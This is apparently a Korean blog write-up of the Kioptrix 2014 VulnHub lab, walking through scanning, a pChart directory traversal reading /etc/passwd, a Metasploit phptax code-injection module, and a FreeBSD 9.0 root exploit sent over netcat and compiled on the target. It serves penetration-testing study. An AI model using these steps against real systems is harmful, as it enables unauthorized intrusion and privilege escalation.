[목차]

 

 

1. 목표

2. 공격 환경

3. 작업 절차

4. 작업 결과

5. 공격 과정 풀이

6. 작업 과정에 사용된 툴 기능 설명

 

 

 


 

 

 

[목표]

root shell 권한 탈취 후 CTF(C4tch the Fl4g)

https://www.vulnhub.com/entry/kioptrix-2014-5,62/

 

 


 

 

[공격 환경]

공격 서버 : Kali Linux

공격 및 분석 툴 : netdiscover / nmap / nikto / searchsploit / wireshark

 

 

 

 

* 피해 서버 IP 할당 문제 해결 방법 *

개요에서 설명했던 것처럼

피해 서버 파일을 워크스테이션으로 로딩 시

IP 할당받는 문제가 발생해

칼리에서 검색이 안됨

 

 

현재 사설 내부망을(NAT 방식) 구축해 사용하는 중이라

브릿지 방식이 아닌 NAT 방식으로 변경해줘도

ip 할당이 안되는데

 

 

근본적인 해결책은

1. 해당 OS의 CD 이미지 파일을 로딩 후

펌웨어에 들어가 (Power > Power on to Firmware)

2. 부팅 방식을 하드디스크가 아닌 CD로 설정해 주고

3. 기존 하드를 마운트 시켜 관리자 권한을 가진

새로운 유저를 생성

4. 새 유저로 피해 서버에 들어가 네트워크 설정을

수동으로 설정해 주는 것.

 

 

하지만 2번에서 문제가 발생했다.

펌웨어로 들어가도 부팅 방식 변경이 안되는 것.

 

 

해결 방법은

서버 vmx파일을 메모장으로 열어

bios.bootOrder = "HDD" 부분을

bios.bootOrder = "cdrom, HDD"

으로 변경해주면 cd 부팅이 가능.

 

 

OS에 따라 명령어 사용 방식이나

수정해야 할 파일 경로가 다를 수 있으니

구글링으로 정보를 얻어 해결하자.

 

-대략 정보-

1. OS : freeBSD 9.0

 

2. 네트워크 설정

# vi /etc/rc.conf

ifconfig_le0="DHCP"

혹은

직접 ip 지정.

 

3. firewall 제품 : ipfilter (ipf CMD)

* etc/rc.conf

-> 필요시 ipf 제품이 기동되지 않도록 설정

 

 


 

 

[작업 절차]

타겟 대상 설정 -> 타겟 정보 수집 ->

타겟 서버 서비스 분석 및 취약점 찾기 ->

취약점에 맞는 공격 방법 설정 및 활용 ->

공격 성공 후 전체 과정 문서화 작업 및 보고서 작성

 

 


 

 

[작업 결과]

1. 발견된 취약점

 

ㄱ. Directory Traversal and Reflected XSS

pChart2.1.3/index.php

phptax Remote Code Injection

FreeBSD 9.0

 

 

 

2. 사용된 공격 방법 :

RCI (Remote Code Injection).

 

비슷한 단어로 RCE (Remote Code Excusion) 가 있는데

원격에서 수행 가능한 코드 실행(code excusion) 취약점을 뜻한다.

코드실행(code exclusion)은 공격자가 시스템의 취약점을 이용하여

임의의 명령이나 코드를 실행하는 것을 의미.

 

또 LFI (Local File Inclusion)는 공격대상 서버에 공격할 파일이 있다!

그 파일을 포함시켜 읽어오는 공격을 뜻하며

비슷한 개념으로는 RFI(Remote File Inclusion)가 있다 : 원격지에 공격할 파일이 있다!

동작 과정이 Injection과 비슷해 Local File Injection으로 착각할 수도 있으니 주의하자.

 

 


 

 

 

[공격 과정 풀이]

 

1. 타겟 정보 수집

 

ㄱ. 검색 및 포트 정보 확인

# netdiscover

# nmap -sV -O 192.168.10.xxx

 

찾은 정보 : open port = 80/tcp, 8080/tcp (http), Server info = OS : FreeBSD / Apache/2.2.21 mod_ssl/2.2.21 OpenSSL/0.9.8q DAV/2 PHP/5.3.8

 

ㄴ. 추가 취약점 스캐닝

# nikto -h 192.168.10.138

 

많이 취약함

 

ㄷ. 숨겨진 디렉터리는 없는지 추가 스캐닝

# dirb http://192.168.10.xxx

 

별 소득 없음

 

ㄹ. URL의 소스코드 분석 (현재 열려있는 포트는 80, 8080)

# curl 192.168.10.xxx:80

 

찾은 정보 :  URL= pChart2.1.3 /index.php

 

 

# curl 192.168.10.xxx:8080

 

찾은 정보 : 403 Forbidden 접근 권한 없음

 

 


 

 

2. 타겟 서버 취약점 찾기

 

*접근 가능한 80 포트부터 시작*

 

ㄱ.발견한 정보 pChart2.1.3/index.php를 url에 이어 붙여 접속 시도

# firefox 192.168.10.138/pChart2.1.3/index.php

 

성공!

 

 

ㄴ. searchsploit을 통해 'pchart 2.1.3' 검색 및 공격 코드 저장

# searchsploit pchart 2.1.3

# searchsploit -m php/webapps/31173.txt

 

 

 

 

ㄷ. 내려 받은 공격 코드 전문에 있는 공격 방법 검색.

내용 : Directory Traversal 과 Cross-Site Scripting(XSS)에 취약하다.

사용법 : "hxxp://localhost/examples/index.php?Action=View&Script=%2f..%2f..%2fetc/passwd"

 

ㄹ. 대입

# firefox http://192.168.10.xxx/pChart2.1.3/examples/index.php?Action=View&Script=/etc/passwd

/etc/passwd 디렉터리 접근 가능!

 

*8080 포트 접근 방법에 대한 힌트 찾기

 

 

ㄱ. 구글에 타켓 서버 OS의 웹 서비스 디렉터리 경로 검색

/usr/local/etc/apache2x/httpd.conf

 

ㄴ. 웹 서비스 설정 파일 내용 확인

 

8080 포트 접속을 하려면 Mozilla4_browser User-Agent가 필요

 

ㄷ. 구글링 및 파이어폭스 홈페이지에서

Mozilla4_browser User-Agent 사용 방법 검색

 

파이어 폭스 버전이 달라서 때문인지 위 방법으로 설정 불가 ​

 

 

* 해결방법은

파이어폭스 상단 우측 메뉴바 클릭 > Web Developer > Get more Tools

들어가서 general user agent 검색 후 툴 설치

 

내가 해결해 줌세~

 

* User-Agent를 Mozilla 4.0으로 변경 후

8080포트 페이지를 Reload 시키면 접속이 가능해진다.

반갑다 친구야!

 

 

phptax가 키워드!

 

 

 

3. 취약 서버 공격

 

 

ㄱ. phptax Remote Code Injection

msfconsole 로 phptax를 검색해 보니 모듈이 하나 나온다.

* 곧장 선택!

# msfconsole -q

msf6 > use exploit/multi/http/phptax_exec

 

 

 

RHOSTS와 RPORT를 설정해 줘야 한다.

msf6 > set RHOSTS 192.168.10.xxx (타겟의 IP다)

msf6 > set RPORT 8080 (타겟의 포트다)

* 됐으면 리스너 기동!!!

msf6 > exploit (or run)

 

실패!

 

* payload 세팅이 안되어 있단다.

세팅을 해주고 LHOST/LPORT(공격자의 IP/포트번호) 설정도 해준 뒤

 

세팅 끝

 

 

* 리스너 재 기동!!!!!!

msf6 > exploit

듣고 있어요 용사님~

 

 

 

* 잠입에 성공했으니 이런 저런 명령어를 입력해 본다.

uname 커맨드로 OS 버전 확인! FreeBSD 9.0

 

 

 

ㄴ. 권한탈취 준비

현재 잠입은 성공했지만

권한 탈취, 즉 쉘을 따지는 못했다.

 

 

이를 위한 작업을 시작해 보자.

 

 

 

 

[칼리에서]

 

위에서 얻은 버전 정보 'FreeBDS 9.0'과 관련한

공격 코드가 있는지 검색해 보니 두 개가 나온다.

c 언어로 작성된 코드렸다!

 

첫 번째 코드(28718.c)를 내려 받고 코드를 전송 후

컴파일시켜 프로그램을 실행 시키려 했는데

해당 파일 코드에 오류가 있어 컴파일이 되지 않는다.

 

그러니 아래 파일(26368.c)을 받아주자.

 

 

 

 

ㄷ. 공격코드 배포

 

코드를 받은 후 이름을 attack.c로 변경해 주었고

netcat 프로그램을 사용해 코드를 보내주자.

 

# nc -lvp 7979 < attack.c

친구야 공격 받아라

 

 

 

 

[침투 서버에서]

 

$ cd /tmp : 권한 문제가 있기 때문에 작업은 /tmp에서!

$ nc -nv 192.168.10.50 7979 > news.c (파일 이름은 마음대로!)

$ gcc news.c : 컴파일해주고

$./a.out : 프로그램 실행

권한 탈취 완료!

 

 

 

 

ㄹ. 깃발 찾기

 

 

여기저기 뒤져보자.

최상위 디렉토리 (/) 로 이동 > cd root 폴더로 이동 > congrats.txt

 

 

 

 

ㅁ. 최종 메시지 확인

cat congrats.txt

If you are reading this, it means you got root (or cheated).

Congratulations either way...

 

Hope you enjoyed this new VM of mine. As always, they are made for the beginner in

mind, and not meant for the seasoned pentester. However this does not mean one

can't enjoy them.

 

As with all my VMs, besides getting "root" on the system, the goal is to also

learn the basics skills needed to compromise a system. Most importantly, in my mind,

are information gathering & research. Anyone can throw massive amounts of exploits

and "hope" it works, but think about the traffic.. the logs... Best to take it

slow, and read up on the information you gathered and hopefully craft better

more targetted attacks.

 

For example, this system is FreeBSD 9. Hopefully you noticed this rather quickly.

Knowing the OS gives you any idea of what will work and what won't from the get go.

Default file locations are not the same on FreeBSD versus a Linux based distribution.

Apache logs aren't in "/var/log/apache/access.log", but in "/var/log/httpd-access.log".

It's default document root is not "/var/www/" but in "/usr/local/www/apache22/data".

Finding and knowing these little details will greatly help during an attack. Of course

my examples are specific for this target, but the theory applies to all systems.

 

As a small exercise, look at the logs and see how much noise you generated. Of course

the log results may not be accurate if you created a snapshot and reverted, but at least

it will give you an idea. For fun, I installed "OSSEC-HIDS" and monitored a few things.

Default settings, nothing fancy but it should've logged a few of your attacks. Look

at the following files:

/root/folderMonitor.log

/root/httpd-access.log (softlink)

/root/ossec-alerts.log (softlink)

 

The folderMonitor.log file is just a cheap script of mine to track created/deleted and modified

files in 2 specific folders. Since FreeBSD doesn't support "iNotify", I couldn't use OSSEC-HIDS

for this.

The httpd-access.log is rather self-explanatory .

Lastly, the ossec-alerts.log file is OSSEC-HIDS is where it puts alerts when monitoring certain

files. This one should've detected a few of your web attacks.

 

Feel free to explore the system and other log files to see how noisy, or silent, you were.

And again, thank you for taking the time to download and play.

Sincerely hope you enjoyed yourself.

 

Be good...

 

 

loneferret

http://www.kioptrix.com

 

 

p.s.: Keep in mind, for each "web attack" detected by OSSEC-HIDS, by

default it would've blocked your IP (both in hosts.allow & Firewall) for

600 seconds. I was nice enough to remove that part :)

 

done!

 

 

 

 


 

 

 

[툴 기능 및 사용 예제]

 

 

[WARNING]

*허가받지 않은 곳에서의 정밀한 네트워크 스캔은 불법*

 

 

1. netdiscover : 실시간 arp 스캐너로 주변 단말기의 통신을 감시/모니터링 하는 툴

#netdiscover

 

 

2. nmap : 검색을 원하는 IP의 다양한 정보 제공 툴

#nmap -sV -O 192.168.x.xx -oX result.xml

-oX = 스캔 결과를 파일로 저장 옵션,

xml형식의 파일은 다양한 도구들과 호환이 된다.

이 파일은 아래 searchsploit 툴의 검사 옵션으로 사용 가능.

 

 

3. nikto : 서버 취약점 스캐너

#nikto -h 192.168.x.xx -p 80 -o result.xml

 

 

4. dirb (Directory Brute force) :

웹사이트에서 직접적으로 알아낼 수 없고 추측으로만 알아낼 수 있는

페이지들을 자동으로 찾기 위해 웹퍼징, 디렉토리 무차별 대입하는 도구

# dirb http://192.168.10.xxx

# dirb http://192.168.10.xxx /exploit/dictionary.txt -X php

 

 

5. searchsploit : exploit-db.com 의 console 버전

기본 경로 : /usr/share/exploitdb/exploits

#searchsploit php 5.3.8 : 공격 코드 종류와 저장 경로가 나옴

# searchsploit -w php 5.3.8 : 공격 코드 종류와 웹 주소가 나옴

# searchsploit -m 공격코드경로 : 현재 폴더로 내려받기

# searchsploit -t php : 타이틀 주제로 검색

# searchsploit --examine 코드번호 : 공격 코드에 대한 상세 정보 확인 가능

# searchsploit --nmap result.xml : nmap의 검색 결과를 저장한 파일로 공격코드 검색

 

 

 

6. netcat

# nc -lvp 192.168.10.xxx 4433

-l listen

-p port

-v verboity를 증가 / 더 많은 정보를 얻을 수 있다

-n 호스트명과 포트를 숫자로만 입력

 

 


 

 

 

728x90

'OSCP > Vulnahub' 카테고리의 다른 글

4. VulnOSv2  (0) 2021.03.06
3. Stapler  (0) 2021.02.10
(번외) Stapler 서버 설치 해프닝  (0) 2021.01.23
2. FRISTILEAKS: 1.3  (0) 2021.01.21
0. 개요  (0) 2020.12.03

+ Recent posts